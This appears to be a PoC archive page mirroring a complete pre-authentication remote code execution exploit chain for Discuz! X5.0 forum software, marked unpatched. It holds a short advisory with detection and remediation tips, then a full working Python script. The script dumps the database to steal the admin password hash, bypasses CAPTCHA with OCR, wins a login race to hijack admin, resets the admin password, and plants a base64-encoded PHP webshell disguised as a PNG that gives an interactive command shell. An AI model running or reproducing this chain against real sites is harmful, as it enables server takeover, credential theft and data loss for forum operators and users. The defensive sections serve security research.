PoC Archive PoC Archive
Critical CVE-2026-49952 (chain also referenced as KIS-2026-09, KIS-2026-10, KIS-2026-11) unpatched

Discuz! X5.0 Race Condition + CAPTCHA-Solving Pre-Auth to RCE Chain (CVE-2026-49952)

by Egidio Romano (EgiX) / passwa11 (mirror) · 2026-07-05

Severity
Critical
CVE
CVE-2026-49952 (chain also referenced as KIS-2026-09, KIS-2026-10, KIS-2026-11)
Category
web
Affected product
Discuz! X5.0 (PHP-based forum/CMS software)
Affected versions
Discuz! X5.0
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherEgidio Romano (EgiX) / passwa11 (mirror)
CVE / AdvisoryCVE-2026-49952 (chain also referenced as KIS-2026-09, KIS-2026-10, KIS-2026-11)
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsdiscuz, php, forum, race-condition, captcha-bypass, ocr, account-takeover, lfi, webshell, rce, pre-auth
RelatedN/A

Affected Target

FieldValue
Software / SystemDiscuz! X5.0 (PHP-based forum/CMS software)
Versions AffectedDiscuz! X5.0
Language / PlatformPHP (target application), Python 3 (exploit tooling: requests, PyTorch/Pillow for CAPTCHA OCR)
Authentication RequiredNo (pre-authentication chain; the exploit registers its own account as part of the attack)
Network Access RequiredYes

Summary

This is a multi-stage, pre-auth-to-RCE exploit chain against Discuz! X5.0 that combines several bugs: an authcode-based DB export/import feature is abused to leak the admin’s username and MD5 password hash from a database backup; the exploit then registers a “special” crafted username containing that MD5 hash, solves the site’s login CAPTCHA using a bundled PyTorch OCR model, and wins a race condition between the DB-import process and the login flow to obtain an authenticated admin session cookie. From there it resets the admin password, logs into admincp, uploads a PHP webshell disguised as a PNG image via the header-nav icon upload feature, and abuses the plugin import/enable functionality (Local File Inclusion) to execute the disguised PHP stager, yielding an interactive webshell.


Vulnerability Details

Root Cause

Several chained weaknesses: (1) the DB export/import authcode mechanism can be triggered by an unauthenticated actor to export a full database backup, exposing the admin’s username and password hash; (2) the registration flow accepts a username value crafted to embed that MD5 hash directly; (3) a race condition between the asynchronous DB-import request and the login flow allows the “special” registered account to receive an admin-authenticated cookie before the imported user table fully overwrites/validates state; (4) the admin panel’s header-nav icon upload does not validate that uploaded “images” are free of embedded PHP code (an old classic GIF/PNG-polyglot style stager); (5) the plugin import/enable feature can be pointed at the attacker-controlled uploaded file directory, resulting in Local File Inclusion of the planted PHP stager and thus code execution.

Attack Vector

  1. Request a DB-export authcode via member.php?mod=logging&action=login with a crafted username parameter, then use it to trigger api/db/dbbak.php?apptype=discuzx&code=...&method=export and download the resulting SQL backup.
  2. Parse the backup to extract the admin’s username and MD5 password hash from the common_member table.
  3. Register a new account whose username field embeds the admin’s MD5 hash (<admin_md5>\t1\t<random>), solving the registration CAPTCHA via a bundled OCR model (infer.py + ocr_model.pth) when CAPTCHA is enabled.
  4. Request a DB-import authcode and, in parallel with submitting the login form for the “special” account, trigger the DB import request in a separate thread — winning a race condition that yields a valid admin authentication cookie (auth=...) in the login response.
  5. Use the admin cookie to reset the admin account’s password via the space control panel (home.php?mod=spacecp&ac=account).
  6. Log into admin.php (admincp) with the new admin credentials.
  7. Upload a PHP-code-in-PNG stager as the header-nav icon image.
  8. Import a crafted plugin XML that points the plugin directory at the attachment folder containing the uploaded “image”, then enable the plugin, triggering Local File Inclusion of the PHP stager.
  9. Send further requests to data/sh.php with a custom C header containing base64-encoded PHP code, which the stager eval()s, giving the attacker an interactive OS command shell (discuz-shell#) as the web server user.

Impact

Full remote code execution as the web server user (www-data in the demonstrated run) on any exposed Discuz! X5.0 instance, without any prior authentication — the exploit self-registers and escalates to admin, then to RCE.


Environment / Lab Setup

Target:   Discuz! X5.0 forum installation reachable over HTTP (e.g. http://localhost/discuz5/)
Attacker: Python 3 with `requests`, `Pillow`, `torch`, `torchvision` installed; exploit.py + infer.py (CAPTCHA OCR helper)

Proof of Concept

PoC Script

See exploit.py and infer.py in this folder. Note: the CAPTCHA-solving OCR model weights (ocr_model.pth, ~24.5MB) bundled in the original repository’s zip were omitted from this mirror to keep the archive lean — infer.py requires that checkpoint file (containing the trained OCRModel state dict and character set) to actually run; without it, CAPTCHA-protected targets cannot be auto-solved by this copy of the PoC.

1
2
pip3 install Pillow torch torchvision
python3 exploit.py http://localhost/discuz5/

Running the script performs the full chain end-to-end: it exports the DB via authcode abuse, extracts the admin credentials hash, registers a crafted account (solving CAPTCHA via infer.py if present), wins the login/import race condition to obtain an admin session, resets the admin password, logs into admincp, uploads a disguised PHP stager, triggers LFI to execute it, and finally drops the operator into an interactive discuz-shell# prompt that proxies OS commands through the webshell.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected admin password resets or admincp logins from unfamiliar IPs shortly after DB export/import API activity
  • Presence of data/sh.php or other PHP files inside attachment/upload directories
  • Plugin table entries with directories pointed at attachment/upload paths
  • Outbound command execution originating from PHP-FPM/Apache worker processes tied to forum request handling

Remediation

ActionDetail
Primary fixApply the vendor patch/upgrade addressing the KIS-2026-09/10/11 advisory chain (authcode abuse, race condition in login/import, and plugin-import LFI); upgrade Discuz! to a fixed release once available
Interim mitigationRestrict or disable the DB export/import API (api/db/dbbak.php) from public access; enforce strict file-type/content validation on image uploads in admincp (reject files containing PHP tags regardless of extension); restrict plugin import to trusted admins only and validate plugin directory paths against a safe allowlist; monitor for and rate-limit concurrent login/import requests

References

  • Source repository
  • karmainsecurity.com/KIS-2026-09
  • karmainsecurity.com/KIS-2026-10
  • karmainsecurity.com/KIS-2026-11
  • karmainsecurity.com/chaining-bugs-in-discuz-from-race-condition-to-rce

Notes

Mirrored from https://github.com/passwa11/CVE-2026-49952 on 2026-07-05. The bundled ocr_model.pth PyTorch checkpoint (~24.5MB) was excluded from this mirror per archive size policy; exploit.py and infer.py are included as the actual PoC logic.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
#    ------------------------------------------
#    Discuz! X5.0 Remote Code Execution Exploit
#    ------------------------------------------
#    
#    author..............: Egidio Romano aka EgiX
#    mail................: n0b0d13s[at]gmail[dot]com
#    software link.......: https://www.discuz.vip
#    
#    +-------------------------------------------------------------------------+
#    | This proof of concept code was written for educational purpose only.    |
#    | Use it at your own risk. Author will be not responsible for any damage. |
#    +-------------------------------------------------------------------------+
#    
#    [-] Original Advisories:
#
#    https://karmainsecurity.com/KIS-2026-09
#    https://karmainsecurity.com/KIS-2026-10
#    https://karmainsecurity.com/KIS-2026-11
#
#    [-] Technical Writeup:
#
#    https://karmainsecurity.com/chaining-bugs-in-discuz-from-race-condition-to-rce

import subprocess
import threading
import requests
import secrets
import base64
import time
import sys
import re


def get_authcode(url, payload):
	params = {"username": payload, "password": 1, "lssubmit": 1}
	res = requests.post(url + "member.php?mod=logging&action=login&loginsubmit=yes", data=params)
	match = re.search(r"auth=([^&]+)", res.text)
	
	return match.group(1) if match else sys.exit("[!] Exploit failed: authcode not found")	


def register_user(url, admin_md5):
	username = admin_md5 + "\t1\t" + secrets.token_hex(4)
	
	print("[+] Registering new 'special' user")
	print(f"[+] Username: {username}")
	
	session = requests.Session()
	res = session.get(url + "member.php?mod=register")
	match = re.search(r'<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"', res.text)
	formhash = match.group(1) if match else sys.exit("[!] Exploit failed: formhash not found")
	match = re.search(r"updateseccode\('([^']+)", res.text)
	seccode = match.group(1) if match else False
	pwd_ids = re.findall(r'<input\s+type="password"\s+id="([^"]+)"', res.text)
	fields_ids = re.findall(r'<input\s+type="text"\s+id="([^"]+)"', res.text)
	
	if len(pwd_ids) != 2:
		sys.exit(f"[!] Exploit failed: expected 2 password fields, found {len(pwd_ids)}")
	
	if len(fields_ids) != 2:
		sys.exit(f"[!] Exploit failed: expected 2 fields, found {len(fields_ids)}")
		
	username_field, email_field = fields_ids
	params = {"regsubmit": "yes", "formhash": formhash, "referer": url,  username_field: username, pwd_ids[0]: "password", pwd_ids[1]: "password", email_field: secrets.token_hex(8) + "@qq.com"}
	
	if seccode:
		print("[+] CAPTCHA is enabled")
		
		res = session.get(url + f"misc.php?mod=seccode&action=update&modid=member::register&idhash={seccode}")
		match = re.search(r'update=(\d+)', res.text)
		magic_number = match.group(1) if match else sys.exit("[!] Exploit failed: magic_number not found")
		
		print("[+] Downloading CAPTCHA")
		
		res = session.get(url + f"misc.php?mod=seccode&update={magic_number}&idhash={seccode}", headers={"Referer": url})
		
		if (res.status_code != 200):
			sys.exit("[!] Exploit failed: unable to download CAPTCHA")
		
		with open("CAPTCHA.png", "wb") as f:
			    f.write(res.content)
			    
		seccodeverify = subprocess.check_output(["python3", "infer.py", "CAPTCHA.png"], text=True).strip()
		
		print(f"[+] CAPTCHA prediction: {seccodeverify}")
		
		res = session.get(url + f"misc.php?mod=seccode&action=check&inajax=1&modid=member::register&idhash={seccode}&secverify={seccodeverify}")
		
		if not "succeed" in res.text:
			sys.exit("[!] Exploit failed: unable to recognize CAPTCHA")
		
		params["seccodehash"] = seccode
		params["seccodemodid"] = "member::register"
		params["seccodeverify"] = seccodeverify
	
	res = session.post(url + "member.php?mod=register&inajax=1", data=params)
	
	if not "succeedmessage" in res.text:
		sys.exit("[!] Exploit failed: unable to finalize registration")
	
	return username


def do_import(import_url):
	requests.get(import_url, timeout=None)


def do_login_race(url, username, import_url):
	session = requests.Session()
	res = session.get(url + "member.php?mod=logging&action=login")
	match = re.search(r'<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"', res.text)
	formhash = match.group(1) if match else sys.exit("[!] Exploit failed: formhash not found")
	
	match = re.search(r"updateseccode\('([^']+)", res.text)
	seccode = match.group(1) if match else False
	
	params = {"formhash": formhash, "referer": url,  "username": username, "password": "password", "questionid": 0}
	
	if seccode:
		print("[+] CAPTCHA is enabled")

		res = session.get(url + f"misc.php?mod=seccode&action=update&modid=member::logging&idhash={seccode}")
		match = re.search(r'update=(\d+)', res.text)
		magic_number = match.group(1) if match else sys.exit("[!] Exploit failed: magic_number not found")
		
		print("[+] Downloading CAPTCHA")
		
		res = session.get(url + f"misc.php?mod=seccode&update={magic_number}&idhash={seccode}", headers={"Referer": url})
		
		if (res.status_code != 200):
			sys.exit("[!] Exploit failed: unable to download CAPTCHA")
		
		with open("CAPTCHA.png", "wb") as f:
			    f.write(res.content)
		
		seccodeverify = subprocess.check_output(["python3", "infer.py", "CAPTCHA.png"], text=True).strip()
		
		print(f"[+] CAPTCHA prediction: {seccodeverify}")
					
		params["seccodehash"] = seccode
		params["seccodemodid"] = "member::logging"
		params["seccodeverify"] = seccodeverify
		
		res = session.get(url + f"misc.php?mod=seccode&action=check&inajax=1&modid=member::logging&idhash={seccode}&secverify={seccodeverify}")
		
		if not "succeed" in res.text:
			sys.exit("[!] Exploit failed: unable to recognize CAPTCHA")
				
	print("[+] Performing race condition attack")
	
	th = threading.Thread(target=do_import, args=(import_url,))
	th.daemon = True
	th.start()
	
	res = session.post(url + "member.php?mod=logging&action=login&loginsubmit=yes&inajax=1", data=params)
	
	return res.text, session.cookies
	

def reset_admin_password(url, admin_cookies):
	print("[+] Resetting admin password")
	
	res = requests.get(url + "home.php?mod=spacecp&ac=account", cookies=admin_cookies)
	match = re.search(r'formhash=([^"]+)', res.text)
	formhash = match.group(1) if match else sys.exit("[!] Exploit failed: formhash not found")

	res = requests.get(url + f"home.php?mod=spacecp&ac=account&op=verify&method=chgpassword&formhash={formhash}&handlekey=security_verify&inajax=1", cookies=admin_cookies)
	match = re.search(r'idstring=([^&]+)', res.text)
	idstring = match.group(1) if match else sys.exit("[!] Exploit failed: idstring not found")
	match = re.search(r'sign=([^"]+)', res.text)
	sign = match.group(1) if match else sys.exit("[!] Exploit failed: sign not found")
	
	res = requests.get(url + f"home.php?mod=spacecp&ac=account&op=verify&method=chgpassword&formhash={formhash}&idstring={idstring}&sign={sign}&infloat=yes&handlekey=chgpassword&inajax=1", cookies=admin_cookies)
	match = re.search(r'action="([^"]+)', res.text)
	change_pwd_query = match.group(1).replace("&amp;", "&") if match else sys.exit("[!] Exploit failed: change_pwd_query not found")
	
	params = {"formhash": formhash, "referer": url,  "newpassword": "hacked", "renewpassword": "hacked", "submit": "true"}
	
	requests.post(url + change_pwd_query, data=params, cookies=admin_cookies)


def do_admincp_login(url, admin_username):
	print("[+] Performing login into admincp")
	
	session = requests.Session()
	res = session.get(url + "admin.php")
	match = re.search(r'<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"', res.text)
	formhash = match.group(1) if match else sys.exit("[!] Exploit failed: formhash not found")	
	
	params = {"formhash": formhash, "admin_username": admin_username,  "admin_password": "hacked"}
	
	res = session.post(url + "admin.php", data=params, allow_redirects=False)
	
	if res and res.status_code != 302:
		sys.exit("[!] Exploit failed: admincp login failed")
	
	return session.cookies


def upload_stager(url, admincp_cookies):
	print("[+] As admin: uploading PHP stager as PNG image")
	
	res = requests.get(url + "admin.php?action=nav&operation=headernav&do=edit&id=2", cookies=admincp_cookies)
	match = re.search(r'<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"', res.text)
	formhash = match.group(1) if match else sys.exit("[!] Exploit failed: formhash not found")
	
	stager = base64.b64decode("iVBORw0KGgoAAAANSUhEUgAAACUAAAAUCAMAAAA9ZgQ5AAAAb1BMVEU8P3BocCBmaWxlX3B1dF9jb250ZW50cygiZGF0YS9zaC5waHAiLCAiPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKFwkX1NFUlZFUlsnSFRUUF9DJ10pKTsgPz4iKTsgZGllKCJGTDRHISIpOyA/PiBjLWapAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAN0lEQVQokWNgIA4wMjGzsLKxc3BycfPw8vELCAoJi4iKiUtISknLyMrJKygqKasQadQoGAUDDgAXzQKbCPeK7gAAAABJRU5ErkJggg==")
	params = {"formhash": formhash, "editsubmit": 1}
	files = {"iconnew": ("image.png", stager)}
	
	requests.post(url + "admin.php?action=nav&operation=headernav&do=edit&id=2", cookies=admincp_cookies, data=params, files=files)
	res = requests.get(url + "admin.php?action=nav&operation=headernav&do=edit&id=2", cookies=admincp_cookies)
	match = re.search(r'value="data/attachment/common/cf/([^"]+)', res.text)
	stager_filename = match.group(1) if match else sys.exit("[!] Exploit failed: stager_filename not found")
	
	return stager_filename
	
	
def execute_stager(url, admincp_cookies, stager_filename):
	print("[+] As admin: importing fake plugin")

	xml_data = """
	<root>
		<item id="Title">Discuz! Plugin</item>
		<item id="Data">
			<item id="version">X5.0</item>
			<item id="var">
				<item id="config">
					<item id="pluginvarid">1337</item>
				</item>
			</item>
			<item id="plugin">
				<item id="identifier">PLUGIN_ID</item>
			</item>
		</item>
	</root>
	"""
	
	params = {"dir": "myrepeats"}
	files = {"importfile": ("importfile.xml", xml_data.replace("PLUGIN_ID", "p_" + secrets.token_hex(8)))}
	requests.post(url + "admin.php?action=plugins&operation=import&importtype=file&ignoreversion=1&installtype=", cookies=admincp_cookies, data=params, files=files)
	
	print("[+] As admin: importing Local File Inclusion (LFI) plugin")
	
	xml_data = """
	<root>
		<item id="Title">Discuz! Plugin</item>
		<item id="Data">
			<item id="version">X5.0</item>
			<item id="var">
				<item id="config">
					<item id="pluginvarid">1337</item>
				</item>
			</item>
			<item id="plugin">
				<item id="directory">../../data/attachment/common/cf/</item>
				<item id="identifier">PLUGIN_ID</item>
				<item id="__modules">
					<item id="extra">
						<item id="enablefile">ENABLE_FILE</item>
					</item>
				</item>
			</item>
		</item>
	</root>
	"""

	params = {"dir": "myrepeats"}
	files = {"importfile": ("importfile.xml", xml_data.replace("ENABLE_FILE", stager_filename).replace("PLUGIN_ID", "p_" + secrets.token_hex(8)))}
	
	res = requests.post(url + "admin.php?action=plugins&operation=import&importtype=file&ignoreversion=1&installtype=", cookies=admincp_cookies, data=params, files=files)
	match = re.search(r"`pluginid`='(\d+)", res.text)
	plugin_id = match.group(1) if match else sys.exit("[!] Exploit failed: plugin_id not found")
	
	print("[+] As admin: triggering PHP stager LFI")
	
	res = requests.get(url + "admin.php?action=plugins", cookies=admincp_cookies)
	match = re.search(r'<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"', res.text)
	formhash = match.group(1) if match else sys.exit("[!] Exploit failed: formhash not found")
	
	res = requests.get(url + f"admin.php?action=plugins&operation=enable&pluginid={plugin_id}&formhash={formhash}", cookies=admincp_cookies)
	
	if not "PLTEFL4G!" in res.text:
		sys.exit("[!] Exploit failed: LFI attack didn't work")
	
	
def exploit(url):
	print("[+] Getting authcode for DB export")
	
	authcode = get_authcode(url, "method=export&time=9999999999&")
	
	print(f"[+] Authcode: {authcode}")
	print("[+] Exporting DB")
	
	res = requests.get(url + f"api/db/dbbak.php?apptype=discuzx&code={authcode}")
	match = re.search(r"(data/backup_.+\.sql)", res.text)
	backup_file = match.group(1) if match else sys.exit("[!] Exploit failed: couldn't export the DB")		
		
	print("[+] Downloading DB dump")
	
	res = requests.get(url + backup_file)
	
	print("[+] Searching for admin's username and MD5 password hash")
	
	match = re.search(r"common_member VALUES \('1',([^\)]+)", res.text)
	
	if match:
		parts = match.group(1).split(",")
		admin_username = parts[1].strip()[2:]
		admin_username = bytes.fromhex(admin_username).decode('utf-8')
		admin_md5 = parts[3].strip()[2:]
		admin_md5 = bytes.fromhex(admin_md5).decode('ascii')
	else:
		sys.exit("[!] Exploit failed: couldn't find admin's username and MD5 password hash")
	
	print(f"[+] Admin username: {admin_username}")
	print(f"[+] Admin MD5 password: {admin_md5}")
	
	pwning_username = register_user(url, admin_md5)
	
	print("[+] Getting authcode for DB import")
	
	match = re.search(r"data/(backup_[^/]+)", backup_file)
	sqlpath = match.group(1) if match else sys.exit("[!] Exploit failed: sqlpath not found")
	authcode = get_authcode(url, f"method=import&time=9999999999&sqlpath={sqlpath}&")
	import_url = url + f"api/db/dbbak.php?apptype=discuzx&code={authcode}"
	
	print(f"[+] Authcode: {authcode}")
	
	login_res, login_cookies = do_login_race(url, pwning_username, import_url)
	match = re.search(r"auth=([^&]+)", login_res)
	admin_cookie = match.group(1) if match else sys.exit("[!] 😑 Race condition attack failed")	
	
	print("[+] 🏆 Race condition attack success!")
	print(f"[+] Admin authentication cookie: {admin_cookie}")
	print("[+] Waiting for the import process to finish")
	
	while True:
		time.sleep(30)
		try:
			res = requests.get(url)
		except Exception as e:
			pass
		if res and res.status_code == 200:
			break
		print("[+] Still waiting...")
	
	admin_cookies = login_cookies.get_dict()
	first_key = next(iter(admin_cookies))
	prefix = "_".join(first_key.split("_")[:2])
	admin_cookies[f"{prefix}_auth"] = admin_cookie
	
	reset_admin_password(url, admin_cookies)
	admincp_cookies = do_admincp_login(url, admin_username)
	
	stager_filename = upload_stager(url, admincp_cookies)
	execute_stager(url, admincp_cookies, stager_filename)
	
	print("[+] Launching webshell")
	
	while True:
		cmd = input("\ndiscuz-shell# ")
		if cmd == "exit":
			break
		else:
			base64_cmd = base64.b64encode(cmd.encode()).decode()
			phpcode = f"chdir('..'); passthru(base64_decode('{base64_cmd}'));"
			res = requests.get(url + "data/sh.php", headers={"C": base64.b64encode(phpcode.encode()).decode()})
			if res.status_code == 200:
				print(res.text.strip())
			else:
				sys.exit("[!] Exploit failed")	 
	
	
if __name__ == "__main__":
	print("\n+----------------------------------------------------+")	
	print("| Discuz! X5.0 Remote Code Execution Exploit by EgiX |")
	print("+----------------------------------------------------+\n")	
	
	if len(sys.argv) != 2:
		sys.exit("Usage: %s <URL>\n" % sys.argv[0])
		
	exploit(sys.argv[1])